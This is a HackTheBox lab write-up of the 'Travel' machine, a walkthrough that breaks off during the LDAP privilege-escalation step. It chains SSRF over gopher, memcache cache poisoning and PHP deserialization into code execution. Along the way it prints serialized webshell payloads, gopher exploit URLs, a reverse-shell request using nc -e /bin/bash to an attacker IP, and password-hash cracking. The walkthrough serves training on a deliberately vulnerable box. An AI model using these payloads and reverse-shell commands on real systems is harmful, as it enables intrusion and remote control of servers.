



# **Travel - Write-up - HackTheBox**

**noraj**

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# 1 Information

READ THE WU ONLINE: <https://blog.raw.pm/en/HackTheBox-Travel-write-up/>

## 1.1 Box

- **Name:** Travel
- **Profile:** [www.hackthebox.eu](http://www.hackthebox.eu)
- **Difficulty:** Hard
- **OS:** Linux
- **Points:** 40




Figure 1.1: Travel

## 2 Write-up

### 2.1 Overview

**TL;DR:** Tricky RCE exploiting PHP deserialization through memcache over gopher. Then EoP through password hash cracking & docker.

Install tools used in this WU on BlackArch Linux:

```
pacman -S nmap ffuf gittools haiti git openssh gopherus openldap gtfo gtfolookup
```

### 2.2 Network enumeration

Port & service discovery with a **nmap** scan:

```
# Nmap 7.80 scan initiated Fri Jul 31 19:52:02 2020 as: nmap -p- -sSVC -oA nmap_full -v
↳ 10.10.10.189
Nmap scan report for 10.10.10.189
Host is up (0.023s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     nginx 1.17.6
|_ http-methods:
|_ Supported Methods: GET HEAD
|_ http-server-header: nginx/1.17.6
|_ http-title: Travel.HTB
443/tcp   open  ssl/http nginx 1.17.6
|_ http-methods:
|_ Supported Methods: GET HEAD
|_ http-server-header: nginx/1.17.6
|_ http-title: Travel.HTB - SSL coming soon.
|_ ssl-cert: Subject: commonName=www.travel.htb/organizationName=Travel.HTB/countryName=UK
|_ Subject Alternative Name: DNS:www.travel.htb, DNS:blog.travel.htb, DNS:blog-dev.travel.htb
|_ Issuer: commonName=www.travel.htb/organizationName=Travel.HTB/countryName=UK
|_ Public Key type: rsa
|_ Public Key bits: 2048
|_ Signature Algorithm: sha256WithRSAEncryption
```

```
| Not valid before: 2020-04-23T19:24:29
| Not valid after: 2030-04-21T19:24:29
| MD5: ef0a a4c1 fbad 1ac4 d160 58e3 beac 9698
|_SHA-1: 0170 7c30 db3e 2a93 cda7 7bbe 8a8b 7777 5bcd 0498
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
Read data files from: /usr/bin/./share/nmap
```


```
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 31 19:52:39 2020 -- 1 IP address (1 host up) scanned in 36.46 seconds
```

Let's add the local domain to our host file, it's important not to miss the **Subject Alternative Name** from the **nmap** scan:

```
$ cat /etc/hosts | grep travel
10.10.10.189 travel.htb
10.10.10.189 www.travel.htb
10.10.10.189 blog.travel.htb
10.10.10.189 blog-dev.travel.htb
```

## 2.3 HTTP discovery

The site on port 80 <http://www.travel.htb/> is just a default HTML template.



**Figure 2.1:** port 80 website

The site on port 443 <https://www.travel.htb/> seems not available yet.






Figure 2.2: port 443 website

At first glance, there is nothing, so we'll need enumeration.

## 2.4 HTTP enumeration

With **ffuf** I'll try to find some sub-directories or pages:

```
$ ffuf -u http://www.travel.htb/FUZZ -r -c -w
↳ ~/CTF/tools/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt -e
↳ .txt,.html,.php

/'___\ /'___\ /'___\
/\ \_/\ /\ \_/\ __ __ /\ \_/\
\ \ ,__\ \ \ ,__\ \ \ \ \ ,__\
\ \ \_/\ \ \_/\ \ \_/\ \ \_/\
\ \_ \ \ \_ \ \ \_ \ \ \_ \
 \_/\ \_/\ \_/\ \_/\ \_/\

v1.2.0-git

-----

:: Method      : GET
:: URL         : http://www.travel.htb/FUZZ
:: Wordlist    : FUZZ:
↳ /home/noraj/CTF/tools/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt
:: Extensions : .txt .html .php
:: Follow redirects : true
```

```

:: Calibration      : false
:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 200,204,301,302,307,401,403
-----

index.html          [Status: 200, Size: 5093, Words: 842, Lines: 145]
js                  [Status: 403, Size: 154, Words: 3, Lines: 8]
css                  [Status: 403, Size: 154, Words: 3, Lines: 8]
img                  [Status: 403, Size: 154, Words: 3, Lines: 8]
lib                  [Status: 403, Size: 154, Words: 3, Lines: 8]
.                    [Status: 200, Size: 5093, Words: 842, Lines: 145]
newsfeed             [Status: 403, Size: 154, Words: 3, Lines: 8]
:: Progress: [153068/153068] :: Job [1/1] :: 1000 req/sec :: Duration: [0:02:33] :: Errors: 0
↳ ::

```

Nothing on the HTTP site. But we didn't find many thing either for the HTTPS website:

```

$ ffuf -u https://www.travel.htb/FUZZ -r -c -w
↳ ~/CTF/tools/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt -e
↳ .txt,.html,.php

/'___\ /'___\ /'___\
/\ ___/ /\ ___/ __ __ /\ ___/
\ \ ,__\ \ \ ,__\ \ \ \ \ ,__\
\ \ \_/ \ \ \_/ \ \ \_/ \ \ \_/
\ \ \ \ \ \ \ \ \ \ \ \ \ \ \
\ \ \ \ \ \ \ \ \ \ \ \ \ \ \
\ \ \ \ \ \ \ \ \ \ \ \ \ \ \
\ \ \ \ \ \ \ \ \ \ \ \ \ \ \

v1.2.0-git
-----


:: Method          : GET
:: URL              : https://www.travel.htb/FUZZ
:: Wordlist         : FUZZ:
↳ /home/noraj/CTF/tools/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt
:: Extensions      : .txt .html .php
:: Follow redirects : true
:: Calibration      : false
:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 200,204,301,302,307,401,403
-----

index.html          [Status: 200, Size: 1123, Words: 104, Lines: 52]
.                    [Status: 200, Size: 1123, Words: 104, Lines: 52]
:: Progress: [153068/153068] :: Job [1/1] :: 950 req/sec :: Duration: [0:02:41] :: Errors: 0
↳ ::

```

The SSL version of blog.travel.htb and blog-dev.travel.htb are both serving the same content as https://www.travel.htb/ but the version in HTTP is different.

<http://blog.travel.htb/>



**Figure 2.3:** [blog.travel.htb](http://blog.travel.htb)

We may have a hint here:

Welcome to our Travel Blog. Make sure to check out our new RSS feature coming fresh from our blog-dev team!

The feed URL is: <http://blog.travel.htb/feed/>

```
<rss xmlns:content="http://purl.org/rss/1.0/modules/content/"
  ↪ xmlns:fwf="http://wellformedweb.org/CommentAPI/"
  ↪ xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom"
  ↪ xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
  ↪ xmlns:slash="http://purl.org/rss/1.0/modules/slash/" version="2.0">
<channel>
<title>Travel Blog</title>
<atom:link href="http://blog.travel.htb/feed/" rel="self" type="application/rss+xml"/>
<link>http://blog.travel.htb</link>
<description>Who doesn't love to travel ?</description>
<lastBuildDate>Thu, 23 Apr 2020 19:27:27 +0000</lastBuildDate>
<language>en-US</language>
<sy:updatePeriod> hourly </sy:updatePeriod>
<sy:updateFrequency> 1 </sy:updateFrequency>
<generator>https://wordpress.org/?v=5.4</generator>
<item>
<title>Travel Blog</title>
<link>http://blog.travel.htb/2020/04/13/hello-world/</link>
<dc:creator>
```




```
<![CDATA[ admin ]]>
</dc:creator>
<pubDate>Mon, 13 Apr 2020 13:19:01 +0000</pubDate>
<category>
<![CDATA[ Uncategorized ]]>
</category>
<guid isPermaLink="false">http://localhost/?p=1</guid>
<description>
<![CDATA[ Welcome to our Travel Blog. Make sure to check out our new RSS feature coming fresh
↳ from our blog-dev team! ]]>
</description>
<content:encoded>
<![CDATA[ <p>Welcome to our Travel Blog. Make sure to check out our new RSS feature coming
↳ fresh from our blog-dev team!</p> ]]>
</content:encoded>
</item>
</channel>
</rss>
```

Nothing fancy, but it seems to leak the Wordpress version.

We also have a login area: <http://blog.travel.htb/wp-login.php>

I ran a **ffuf** enumeration but won't display it here as it only shows all the Wordpress files.

<http://blog-dev.travel.htb/>



**Figure 2.4:** [blog-dev.travel.htb](http://blog-dev.travel.htb)

It seems we are denied but it's worth checking if we can leak some files.

```
$ ffuf -u http://blog-dev.travel.htb/FUZZ -r -c -w
↳ ~/CTF/tools/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt -e
↳ .txt,.html,.php

/'___\ /'___\ /'___\
/\ \_/\ /\ \_/\ __ __ /\ \_/\
\ \ ,__\ \ \ ,__\ \ \ \ \ ,__\
\ \ \_/\ \ \ \_/\ \ \ \_/\ \ \_/\
\ \_ \ \ \_ \ \_ \_ \ \_ \
\ \_ \ \ \_ \ \_ \_ \ \_ \
```

```
v1.2.0-git
-----

:: Method      : GET
:: URL         : http://blog-dev.travel.htb/FUZZ
:: Wordlist     : FUZZ:
  ↪ /home/noraj/CTF/tools/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt
:: Extensions  : .txt .html .php
:: Follow redirects : true
:: Calibration  : false
:: Timeout     : 10
:: Threads     : 40
:: Matcher     : Response status: 200,204,301,302,307,401,403
-----

. [Status: 403, Size: 154, Words: 3, Lines: 8]
.git [Status: 403, Size: 154, Words: 3, Lines: 8]
```

It seems like there is a git repository.

## 2.5 HTTP exploitation & code analysis

Let's start with the git repository with **GitTools** that will allow us to dump it.

```
$ gittools-gitdumper http://blog-dev.travel.htb/.git/ dev-repo
#####
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
#####

[*] Destination folder does not exist
[+] Creating dev-repo/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
```

```
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[-] Downloaded: /refs/wip/index/refs/heads/master
[-] Downloaded: /refs/wip/wtree/refs/heads/master
[+] Downloaded: objects/03/13850ae948d71767aff2cc8cc0f87a0feeeef63
[-] Downloaded: objects/00/0000000000000000000000000000000000000000
[+] Downloaded: objects/b0/2b083f68102c4d62c49ed3c99ccbb31632ae9f
[+] Downloaded: objects/ed/116c7c7c51645f1e8a403bcec44873f74208e9
[+] Downloaded: objects/2b/1869f5a2d50f0ede787af91b3ff376efb7b039
[+] Downloaded: objects/30/b6f36ec80e8bc96451e47c49597fdd64cee2da
```

Then we can look into this repository:

```
$ git status
On branch master
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
    deleted:    README.md
    deleted:    rss_template.php
    deleted:    template.php

$ git restore README.md rss_template.php template.php
```

It seems we can now read the source code of the RSS generator: `rss_template.php`.

```
<?php
/*
Template Name: Awesome RSS
*/
include('template.php');
get_header();
?>

<main class="section-inner">
  <?php
  function get_feed($url){
    require_once ABSPATH . '/wp-includes/class-simplepie.php';
    $simplepie = null;
    $data = url_get_contents($url);
    if ($url) {
      $simplepie = new SimplePie();
      $simplepie->set_cache_location('memcache://127.0.0.1:11211/?timeout=60&prefix=xct_');
      // $simplepie->set_raw_data($data);
      $simplepie->set_feed_url($url);
      $simplepie->init();
      $simplepie->handle_content_type();
    }
  }
}
```

```
        if ($simplepie->error) {
            error_log($simplepie->error);
            $simplepie = null;
            $failed = True;
        }
    } else {
        $failed = True;
    }
    return $simplepie;
}

$url = $_SERVER['QUERY_STRING'];
if(strpos($url, "custom_feed_url") !== false){
    $tmp = (explode("=", $url));
    $url = end($tmp);
} else {
    $url = "http://www.travel.htb/newsfeed/customfeed.xml";
}
$feed = get_feed($url);
if ($feed->error())
{
    echo '<div class="sp_errors">' . "\r\n";
    echo '<p>' . htmlspecialchars($feed->error()) . "</p>\r\n";
    echo '</div>' . "\r\n";
}
else {
?>
<div class="chunk focus">
    <h3 class="header">
        <?php
            $link = $feed->get_link();
            $title = $feed->get_title();
            if ($link)
            {
                $title = "<a href='$link' title='$title'>$title</a>";
            }
            echo $title;
        ?>
    </h3>
    <?php echo $feed->get_description(); ?>

</div>
<?php foreach($feed->get_items() as $item): ?>
    <div class="chunk">
        <h4><?php if ($item->get_permalink()) echo '<a href="' . $item->get_permalink() .
        '>'; echo $item->get_title(); if ($item->get_permalink()) echo '</a>'; ?>&nbsp;<span
        class="footnote"><?php echo $item->get_date('j M Y, g:i a'); ?></span></h4>
        <?php echo $item->get_content(); ?>
        <?php
            if ($enclosure = $item->get_enclosure(0))
            {
                echo '<div align="center">';
                echo '<p>' . $enclosure->embed(array(
```

```

        'audio' => './for_the_demo/place_audio.png',
        'video' => './for_the_demo/place_video.png',
        'mediaplayer' => './for_the_demo/mediaplayer.swf',
        'altclass' => 'download'
    )) . '</p>';
    if ($enclosure->get_link() && $enclosure->get_type())
    {
        echo '<p class="footnote" align="center">(' . $enclosure->get_type();
        if ($enclosure->get_size())
        {
            echo '; ' . $enclosure->get_size() . ' MB';
        }
        echo '</p>';
    }
    if ($enclosure->get_thumbnail())
    {
        echo '<div></div>';
    }
    echo '</div>';
}
?>

</div>
<?php endforeach; ?>
<?php } ?>
</main>

<!--
DEBUG
<?php
if (isset($_GET['debug'])) {
    include('debug.php');
}
?>
-->

<?php get_template_part( 'template-parts/footer-menus-widgets' ); ?>

<?php
get_footer();

```

Lines 33, 34, 40 seems to show a user controlled input. Lines 103, 104 teels use we can enable a debug feature that may be show more verbose messages. On line 5, `template.php` is included so let's take a look at it.

```

<?php
/**
 * Todo: finish logging implementation via TemplateHelper
 */

```



```
function safe($url)
{
    // this should be secure
    $tmpUrl = urldecode($url);
    if(strpos($tmpUrl, "file://") !== false or strpos($tmpUrl, "@") !== false)
    {
        die("<h2>Hacking attempt prevented (LFI). Event has been logged.</h2>");
    }
    if(strpos($tmpUrl, "-o") !== false or strpos($tmpUrl, "-F") !== false)
    {
        die("<h2>Hacking attempt prevented (Command Injection). Event has been logged.</h2>");
    }
    $tmp = parse_url($url, PHP_URL_HOST);
    // preventing all localhost access
    if($tmp == "localhost" or $tmp == "127.0.0.1")
    {
        die("<h2>Hacking attempt prevented (Internal SSRF). Event has been logged.</h2>");
    }
    return $url;
}

function url_get_contents ($url) {
    $url = safe($url);
    $url = escapeshellarg($url);
    $pl = "curl ".$url;
    $output = shell_exec($pl);
    return $output;
}

class TemplateHelper
{
    private $file;
    private $data;

    public function __construct(string $file, string $data)
    {
        $this->init($file, $data);
    }

    public function __wakeup()
    {
        $this->init($this->file, $this->data);
    }

    private function init(string $file, string $data)
    {
        $this->file = $file;
        $this->data = $data;
        file_put_contents(__DIR__.'/' . $this->file, $this->data);
    }
}
```

```
}
```

What we saw in `rss_template.php`:

1. L40 `get_feed()` is called with `$url` as arg
2. L33 `$url` is user controlled via `custom_feed_url` in the URL
3. L14 In `get_feed()` the function `url_get_contents()` is called

`url_get_contents()` is a custom function that reminds us the official `file_get_contents` function.

Now what we can see in `template.php`:


1. L28-34 `url_get_contents()` is defined
  - L29 the `safe()` custom function is called
  - L30 the `escapeshellarg()` native function is called (see [the doc](#))
  - L31-32 `curl` is called inside `shell_exec()` with user controlled argument
  - This gives potential for local file disclosure, SSRF and RCE. Maybe even XXE if SimplePie parser is vulnerable.
2. L7-26 the `safe()` function seems to some basic filtering that is bypassable

The feed seems available for display at those endpoints:


- (raw) `http://www.travel.htb/newsfeed/customfeed.xml`
- (parsed) `http://blog.travel.htb/awesome-rss/`

However the feed `http://blog.travel.htb/feed/` we saw earlier seems to be completely different and won't interest us.

It seems that `http://blog.travel.htb/awesome-rss/` is using `rss_template.php` to parse `http://www.travel.htb/newsfeed/customfeed.xml` and render it in HTML.



We can alter this behavior by providing another feed source with the parameter `custom_feed_url`. For example we can provide this alternative RSS source: `http://blog.travel.htb/awesome-rss/?custom_feed_url=http://blog.travel.htb/feed/`.



The `safe()` function disables us to use `file://` protocol but `gopher://` may be used instead. `127.0.0.1` and `localhost` are filtered but that's easily bypassable.

L17 we also saw there was a memcache server. `gopher://` will allow us to interact with memcache

so it seems the way to go.

Let's see if we can craft a gopher payload that bypass the filters to check if we can use gopher.


Let's quickly check that the string comparison is case sensitive in PHP. Hopefully URL are case insensitive so LOCALHOST will be accepted by the server and not filtered by `safe()`.

```
php -a
Interactive shell

php > var_dump("LOCALHOST" == "localhost");
bool(false)
```

Requesting on port 80 we can access the local HTTP server and bypass `safe()`.

```
http://blog.travel.htb/awesome-rss/?custom_feed_url=gopher://LOCALHOST:80/
```



Other localhost bypasses may be found on [PayloadsAllTheThings](#).

If one didn't see the memcache URL it's still possible to bruteforce ports to check available services on localhost.

To create gopher payloads there is no better tool than [Gopherus](#).

```
$ gopherus --exploit dmpmemcache
$ gopherus --exploit phpmemcache
```

With the first command we will be able to dump the Memcached content and with the second one to execute a PHP payload.

Let's try some basic memcache commands found on [HackTricks](#).

```

$ gopherus --exploit dmpmemcache

          .--
 /  _____/  _____ |  |__  _____  __  _____
/   \  ___ /   \ \____ \ |  |  \ /  __ \  __ \  |  \ /  ___/
\   \  \ (   <_> )  |_> >   Y  \  ___/ |  | \ /  |  / \___ \
 \  _____ / \____/ |  __/ |___ |  \ \___ > _ |  | _____ >
      \ /      |__|      \ /      \ /      \ /

          author: $_SpyD3r_$

Give payload you want to run in Memcached Server: version

Your gopher link is ready to dump Memcache :

gopher://127.0.0.1:11211/_%0d%0aversion%0d%0a

-----Made-by-SpyD3r-----

```

Then we just have to replace 127.0.0.1 by LOCALHOST:

```
?custom_feed_url=gopher://LOCALHOST:11211/_%0d%0aversion%0d%0a
```

This is maybe working but I don't think we will obtain an output so let's try a RCE directly.

To get a RCE we have to know a Class where we can use deserialization, hopefully there is Template-Helper class in `template.php`.

Let's create a PoC for serialization:

```
<?php

class TemplateHelper
{

    private $file;
    private $data;
```



```

public function __construct(string $file, string $data)
{
    $this->init($file, $data);
}

public function __wakeup()
{
    $this->init($this->file, $this->data);
}

private function init(string $file, string $data)
{
    $this->file = $file;
    $this->data = $data;
    file_put_contents(__DIR__ . '/logs/' . $this->file, $this->data);
}
}

$obj = new TemplateHelper("noraj.php", file_get_contents('shell.php'));
$serialized = serialize($obj);
echo $serialized;

```

With the class we will be able to write a file into the log folder. I wanted to write a php webshell with [weevely](#) but [weevely](#) generated shell contains a lot of @ chars that are disabled. So I had to use a simpler webshell, something like [easy-simple-php-webshell.php](#) or [Simple-Backdoor-One-Liner.php](#).

Then we can serialize it.

```

$ php serialize.php 2>/dev/null | tr -d '\n'
O:14:"TemplateHelper":2:{s:20:"TemplateHelperfile";s:9:"noraj.php";s:20:"TemplateHelperdata";s:113:"<?php
↳ if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo
↳ "</pre>"; die; }?>";}

```

Once encoded in the gopher payload:

```

gopher://LOCALHOST:11211/_%0d%0aset%20SpyD3r%204%200%20216%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:20:%22Templat

```

But where are stored the templates? The theme is the default WordPress one, the css is located at <http://blog.travel.htb/wp-content/themes/twentytwenty/style.css> so the templates will be here too, eg. <http://blog.travel.htb/wp-content/themes/twentytwenty/template.php>

This mean that our webshell should be uploaded at <http://blog.travel.htb/wp-content/themes/twentytwenty/logs/noraj> so our payload was not executed.

I think it's due to [escapeshellarg](#) escaping the quotes.

PS: the debug feature can also be accessed directly <http://blog.travel.htb/wp-content/themes/twentytwenty/debug.php>

So let's try with a shell not using quotes:

```
<?php system($_GET[1]); ?>
```

```
$ php serialize.php 2>/dev/null | tr -d '\n'
0:14:"TemplateHelper":2:{s:20:"TemplateHelperfile";s:9:"noraj.php";s:20:"TemplateHelperdata";s:26:"<?php
↳ system($_GET[1]); ?>";}
```

```
gopher://127.0.0.1:11211/_%0d%0aset%20SpyD3r%204%200%20128%0d%0a0:14:%22TemplateHelper%22:2:%7Bs:20:%22Templat
```

Also Gopherus is hardcoding the key where it set the value to SpyD3r (this must be the reason why). But this key is never called so the deserialization is never triggered.

Let's get back to the line where the content is cached:

```
$simplepie->set_cache_location('memcache://127.0.0.1:11211/?timeout=60&prefix=xct_');
```

The caching is done by **simplepie** with the function **set\_cache\_location()**. We can also see there is a 60 second timeout so after that the cache may expire and the keys are prefixed with xct\_.

If we search the **set\_cache\_location()** function on the source hosted on github we can see the function is calling the class method **cache\_location**.

<https://github.com/simplepie/simplepie/blob/ae49e2201b6da9c808e5dac437aca356a11831b4/library/SimplePie.php#L909>

```
/**
 * Set the file system location where the cached files should be stored
 *
 * @param string $location The file system location.
 */
public function set_cache_location($location = './cache')
{
    $this->cache_location = (string) $location;
}
```

Searching for **cache\_location** I saw that both class **SimplePie\_Cache\_Memcache** ([library/SimplePie/Cache/Memcache.php](#)) and **SimplePie\_Cache\_Memcached** ([/library/SimplePie/Cache/Memcached.php](#)) are implementing **SimplePie\_Cache\_Base** interface ([library/SimplePie/Cache/Base.php](#)).

Both are similar, <https://github.com/simplepie/simplepie/blob/a72e1dfafe7870affdae3edf0d9a494e4fa31bc6/library/S>  
L99

```

/**
 * Create a new cache object
 * @param string $location Location string (from SimplePie::$cache_location)
 * @param string $name Unique ID for the cache
 * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image
 * data
 */
public function __construct($location, $name, $type) {
    $this->options = array(
        'host' => '127.0.0.1',
        'port' => 11211,
        'extras' => array(
            'timeout' => 3600, // one hour
            'prefix' => 'simplepie_',
        ),
    );
    $this->options = SimplePie_Misc::array_merge_recursive($this->options,
        SimplePie_Cache::parse_URL($location));

    $this->name = $this->options['extras']['prefix'] . md5("$name:$type");

    $this->cache = new Memcached();
    $this->cache->addServer($this->options['host'], (int)$this->options['port']);
}

```

The extra options timeout & prefix will be overridden by the ones we saw in the template. Then the key is the concatenation of the prefix xct\_ + the md5 of the name (unique id), colon & type (TYPE\_FEED). In library/SimplePie/Cache/Base.php we can see that TYPE\_FEED = 'spc'.

So we have something like that xct\_ + MD5( UNIQUE\_ID? ":spc") but we still need to determine how UNIQUE\_ID is generated.

For that we have to look at the main class (in library/SimplePie.php) when SimplePie is initialized (\$simplepie->init());).

set\_cache\_name\_function

<https://github.com/simplepie/simplepie/blob/ae49e2201b6da9c808e5dac437aca356a11831b4/library/SimplePie.php#L1128>

```

/**
 * Set callback function to create cache filename with
 *
 * @param mixed $function Callback function
 */
public function set_cache_name_function($function = 'md5')
{
    if (is_callable($function))
    {
        $this->cache_name_function = $function;
    }
}

```

```
}
}
```

<https://github.com/simplepie/simplepie/blob/ae49e2201b6da9c808e5dac437aca356a11831b4/library/SimplePie.php#L540>

```
/**
 * @var string Function that creates the cache filename
 * @see SimplePie::set_cache_name_function()
 * @access private
 */
public $cache_name_function = 'md5';
```

<https://github.com/simplepie/simplepie/blob/ae49e2201b6da9c808e5dac437aca356a11831b4/library/SimplePie.php#L540>

```
$cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location,
    => call_user_func($this->cache_name_function, $url), 'spc'));
```

<https://github.com/simplepie/simplepie/blob/ae49e2201b6da9c808e5dac437aca356a11831b4/library/SimplePie.php#L540>

```
$cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location,
    => call_user_func($this->cache_name_function, $file->url), 'spc'));
```

So what I called the UNIQUE\_ID is generated like this md5 (\$url).

<https://github.com/simplepie/simplepie/blob/ae49e2201b6da9c808e5dac437aca356a11831b4/library/SimplePie.php#L540>

```
$url = $this->feed_url . ($this->force_feed ? '#force_feed' : '');
```

\$url is the feed\_url.

"xct\_" + MD5( MD5(feed\_url) + ":spc")

So now which URL do we want to poison? We are forced to make it in two steps. Because poisoning the URL we are attacking with is impossible as we need the hash of the URL but the URL contains the cache that is forged with the URL hash, so it's recursive. Else we have to poison an arbitrary URL that we can compute in advance. In the template code if no custom\_feed\_url is provided, the default one <http://www.travel.htb/newsfeed/customfeed.xml> is used instead. We can compute it like that:

```
$ printf %s "$(printf %s 'http://www.travel.htb/newsfeed/customfeed.xml' | md5sum | cut -d ' '
    => -f 1):spc" | md5sum | cut -d ' ' -f 1
4e5612ba079c530a6b1f148c0b352241
```

The cache key is xct\_4e5612ba079c530a6b1f148c0b352241.

So now here is the two steps attack:

1. Poison the cache with the with our gopher request
2. Call <http://blog.travel.htb/awesome-rss/> without custom feed to trigger the cache (within 60 seconds)

That will result in our shell being written to the server.

We have to replace SpyD3r with xct\_4e5612ba079c530a6b1f148c0b352241.

Also we have to understand the **Memcached - Set Data** structure

```
set key flags exptime bytes [noreply]
value
```

By default gopherus set the following:

- flags: 4 (an arbitrary integer)
- exptime: 0 (no expiration)
- bytes: 128 (size in bytes of the data block)

That seems good. Also earlier I was copy-pasting the serialized payload into gopherus so some unprintable characters were missing. The proper solution is to directly pipe the output into it.

```
$ php serialize.php 2>/dev/null | gopherus --exploit phpmemcache
```

```

      /-----\          |   |-----\-----|-----/
      / \ ___ / _ \|___ \| | \_/ __ \|__ \| | \| ___/
      \   \| ( <_> ) |_> > Y \ ___/| | \| | /\___ \|
      \_____\ /\___/|__ \|___ \|/\___ >_| |___//___ >
              \|         \|         \|         \|

```

```
author: $_SpyD3r_$
```

This is usable when you know Class and Variable name used by user

Give serialization payload

```
example: 0:5:"Hello":0:{} :
```

Your gopher link is ready to do SSRF :

```
gopher://127.0.0.1:11211/_%0d%0aset%20SpyD3r%204%200%20132%0d%0a0:14:%22TemplateHelper%22:2:%7Bs:20:%22%00Temp
```

After everything done, you can delete memcached item by using this payload:



```
gopher://127.0.0.1:11211/_%0d%0adelete%20SpyD3r%0d%0a
```

```
-----Made-by-SpyD3r-----
```

Then we just have to run the two steps.

```
$ curl 'http://blog.travel.htb/awesome-
```

```
→ rss/?custom_feed_url=gopher://LOCALHOST:11211/_%0d%0aset%20xct_4e5612ba079c530a6b1f148c0b352241%204%200%2020-
```

```
$ curl http://blog.travel.htb/awesome-rss/
```

And <http://blog.travel.htb/wp-content/themes/twentytwenty/logs/noraj.php> is available.

Then we have 60 seconds to do something like getting a reverse shell, eg.

<http://blog.travel.htb/wp-content/themes/twentytwenty/logs/noraj.php?1=nc%20-e%20/bin/bash%2010.10.14.66%20>

```
$ pwncat -l 9999 -vv
INFO: Listening on :::9999 (family 10/IPv6, TCP)
INFO: Listening on 0.0.0.0:9999 (family 2/IPv4, TCP)
INFO: Client connected from 10.10.10.189:47498 (family 2/IPv4, TCP)
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

## 2.6 Elevation of Privilege (EoP): from www-data to lynik-admin

There is a SQL backup in the wordpress directory.

```
$ ls -lhA /opt/wordpress
total 1.2M
-rw-r--r-- 1 root root 1.2M Apr 24 06:39 backup-13-04-2020.sql
```

Let's look for the user creation:

```
$ cat /opt/wordpress/backup-13-04-2020.sql | grep 'INSERT INTO `wp_users`'
INSERT INTO `wp_users` VALUES
→ (1,'admin','$P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/','admin','admin@travel.htb','http://localhost','2020-
→ 04-13
→ 13:19:01','',0,'admin'),(2,'lynik-admin','$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.','lynik-
→ admin','lynik@travel.htb','', '2020-04-13 13:36:18','',0,'Lynik
→ Schmidt');
```

Then we can run **haiti** to find the hash type:

```
$ haiti '$P$B/wzJzd3pj/n7oTe2GGpi5HcIL4ppc.'  
Wordpress > v2.6.2 [HC: 400] [JtR: phpass]  
Joomla > v2.5.18 [HC: 400] [JtR: phpass]  
PHPass' Portable Hash [HC: 400] [JtR: phpass]
```

Then let's start cracking with **john**:

```
$ john --format=phpass hashes.txt -w=/usr/share/wordlists/passwords/rockyou.txt  
Using default input encoding: UTF-8  
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])  
Cost 1 (iteration count) is 8192 for all loaded hashes  
Will run 4 OpenMP threads  
Press 'q' or Ctrl-C to abort, almost any other key for status  
1stepcloser      (?)
```

lynik-admin/1stepcloser

Then we can log in via ssh:

```
$ ssh lynik-admin@travel.htb  
lynik-admin@travel:~$ id  
uid=1001(lynik-admin) gid=1001(lynik-admin) groups=1001(lynik-admin)
```

## 2.7 Elevation of Privilege (EoP): from lynik-admin to root

```
lynik-admin@travel:~$ ls -lhA  
total 32K  
lrwxrwxrwx 1 lynik-admin lynik-admin 9 Apr 23 17:31 .bash_history -> /dev/null  
-rw-r--r-- 1 lynik-admin lynik-admin 220 Feb 25 2020 .bash_logout  
-rw-r--r-- 1 lynik-admin lynik-admin 3.7K Feb 25 2020 .bashrc  
drwx----- 2 lynik-admin lynik-admin 4.0K Apr 23 19:34 .cache  
drwx----- 4 lynik-admin lynik-admin 4.0K Sep 9 05:48 .gnupg  
-rw-r--r-- 1 lynik-admin lynik-admin 82 Apr 23 19:35 .ldaprc  
-rw-r--r-- 1 lynik-admin lynik-admin 807 Feb 25 2020 .profile  
-r--r--r-- 1 root root 33 Sep 9 04:56 user.txt  
-rw----- 1 lynik-admin lynik-admin 861 Apr 23 19:35 .viminfo
```

We can see a **.viminfo** file and a **.ldaprc** file.

Some lines in **.viminfo** are interesting:

```
# Registers:
"""1      LINE      0
      BINDPW Theroadlesstraveled
|3,1,1,1,1,0,1587670528,"BINDPW Theroadlesstraveled"

# File marks:
'0  3  0  ~/.ldaprc
|4,48,3,0,1587670530,"~/.ldaprc"

# Jumplist (newest first):
-'  3  0  ~/.ldaprc
|4,39,3,0,1587670530,"~/.ldaprc"
-'  1  0  ~/.ldaprc
|4,39,1,0,1587670527,"~/.ldaprc"

# History of marks within files (newest to oldest):

> ~/.ldaprc
*      1587670529      0
"      3      0
.      4      0
+      4      0
```

In the `.ldaprc` too:

```
HOST ldap.travel.htb
BASE dc=travel,dc=htb
BINDDN cn=lynik-admin,dc=travel,dc=htb
```

With the password and information we can make a request binding to the rootDN:

```
